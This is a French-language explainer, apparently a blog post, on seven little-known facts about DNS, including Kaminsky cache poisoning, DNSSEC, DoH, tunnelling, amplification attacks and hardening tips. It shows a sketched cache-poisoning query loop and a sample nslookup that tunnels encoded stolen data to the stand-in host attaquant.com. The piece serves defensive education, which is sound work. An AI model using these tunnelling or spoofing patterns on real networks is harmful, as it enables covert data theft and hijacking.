7 choses que tu ignorais sur le DNS

Tu tapes une adresse, et en une fraction de seconde, te voilà sur le bon site. Le DNS rend ça possible. Mais derrière cette magie apparente, il te ment sur presque tout : le nombre de ses serveurs, sa fameuse propagation, sa sécurité. Voilà sept vérités que tu ignores sur l'annuaire d'Internet.

1. Les 13 serveurs racines n'existent pas

On répète qu'il y a 13 serveurs racines. C'est presque un mythe fondateur d'Internet. La vérité : il y a 13 identités, nommées de A à M, opérées par 12 organisations. Le chiffre 13 vient d'une vieille contrainte — un paquet DNS en UDP tenait dans 512 octets, et 13 adresses, c'est tout ce qui rentrait. Mais derrière ces adresses, pas 13 machines : grâce à l'anycast, la même adresse répond depuis des centaines d'endroits.

Pourquoi exactement 13 ?

512 octets : c'était la taille maximale d'une réponse DNS non fragmentée en UDP, à l'époque. En y logeant les adresses des serveurs racines, on arrivait à 13. EDNS a plus tard permis des réponses plus grandes, mais le design à 13 identités était déjà gravé. L'anycast a fait le reste : multiplier chaque adresse sans en ajouter.

2. La « propagation DNS » n'existe pas

Tu changes un enregistrement DNS, et on te dit d'attendre 24 à 48 heures « que ça se propage ». Le mot est trompeur. Le DNS ne pousse rien vers personne : il est tiré, à la demande. Ce qui te fait patienter, ce n'est pas une diffusion mondiale, c'est le cache. Chaque enregistrement porte un TTL, une durée de vie ; tant qu'il n'a pas expiré, les résolveurs servent l'ancienne valeur.

1. Baisse le TTL de l'enregistrement (par exemple 300 s) 24 à 48 h avant le changement.
2. Attends que l'ancien TTL expire dans tous les caches.
3. Fais ta modification : elle se répercute en quelques minutes.
4. Remonte le TTL une fois la bascule confirmée.

3. L'attaque qui a failli casser Internet

En 2008, Dan Kaminsky révèle une faille dans le cœur du protocole. Pour relier une réponse à sa question, le DNS n'utilise qu'un identifiant de 16 bits — 65 536 valeurs. C'est peu. On croyait l'attaque limitée : une fois la bonne réponse en cache, il fallait attendre l'expiration du TTL pour retenter. L'idée de Kaminsky : ne pas attendre. En interrogeant des sous-domaines inexistants à la chaîne, il déclenche des requêtes fraîches en boucle, et injecte à chaque fois une fausse réponse qui détourne le domaine entier.

The Query ID field is only 16 bits, which makes it an easy target

— ISC — avis CVE-2008-1447

dig aleatoire123.tabanque.com   # sous-domaine inexistant
# repete des milliers de fois, sans attendre le cache
# l'attaquant devine un ID de 16 bits : 65 536 possibilites

La parade, et ses limites

La réponse fut une rustine coordonnée : randomiser aussi le port source. On passe d'un espace de 65 000 à plus de 4 milliards de combinaisons. Beaucoup plus dur à deviner — mais pas impossible. En 2020, l'attaque SAD DNS a contourné cette défense par canal auxiliaire. Le vrai remède existe : DNSSEC. Presque personne ne l'a déployé.

4. DNSSEC ne chiffre rien — et personne ne l'utilise

On confond souvent DNSSEC avec du DNS chiffré. Erreur. DNSSEC ne chiffre rien : il signe. Il garantit qu'une réponse n'a pas été falsifiée, grâce à des signatures cryptographiques. Mais ta requête reste visible, et ta vie privée n'est pas protégée. Le plus étonnant : DNSSEC existe depuis 20 ans, et l'adoption reste marginale.

DNSSEC doesn't encrypt queries or protect user privacy

— Vercara / DigiCert

5. DoH chiffre ton DNS — et aveugle ton réseau

DNS over HTTPS chiffre enfin tes requêtes DNS. Ton fournisseur ne voit plus les sites que tu vises : ta vie privée gagne. Mais retourne la médaille. Le même chiffrement rend le malware invisible. Pour un pare-feu, une requête DoH ressemble à un simple trafic web. Pire, DoH centralise la résolution chez quelques géants et se déplace dans le navigateur, en contournant les contrôles de ton réseau.

6. Le DNS est un canal caché

Le DNS n'est pas qu'un annuaire : c'est aussi un tuyau discret pour faire sortir des données. Parce que le port 53 est presque toujours autorisé en sortie et rarement inspecté en profondeur, un attaquant y encode ce qu'il veut. Les données volées partent dans le nom du sous-domaine demandé ; les commandes reviennent dans un enregistrement TXT. Le tout ressemble à du DNS parfaitement banal. C'est une technique répertoriée par MITRE ATT&CK.

nslookup ZXhmaWx0cmF0ZWQtZGF0YQ.attaquant.com
# donnees volees, encodees dans le sous-domaine
# reponse TXT : commande a executer

7. Une requête minuscule, une attaque énorme

Le DNS est aussi une arme de déni de service. Le principe : réflexion et amplification. L'attaquant envoie une petite requête à un résolveur ouvert, mais ment sur l'adresse source en y mettant celle de sa victime. Le résolveur répond donc à la victime — avec un paquet bien plus gros. Une requête de 60 octets peut déclencher une réponse de 4 000. Ironie : DNSSEC, en signant, grossit les réponses, et alimente l'amplification qu'il ne cause pas.

Durcir ton DNS en 6 réflexes

Si tu ne retiens qu'une chose de cette page, retiens cette liste.

• Ne fais pas confiance au « 48 h de propagation » : pilote par le TTL.
• Active DNSSEC sur tes zones, et valide-le sur tes résolveurs.
• Ferme tes résolveurs ouverts et applique l'anti-spoofing (BCP 38).
• Force le DNS interne : bloque le port 53 sortant vers l'extérieur.
• Surveille les requêtes anormales : sous-domaines longs, forte entropie, gros volume.
• Chiffre le DNS (DoH ou DoT) vers un résolveur que tu contrôles et inspectes.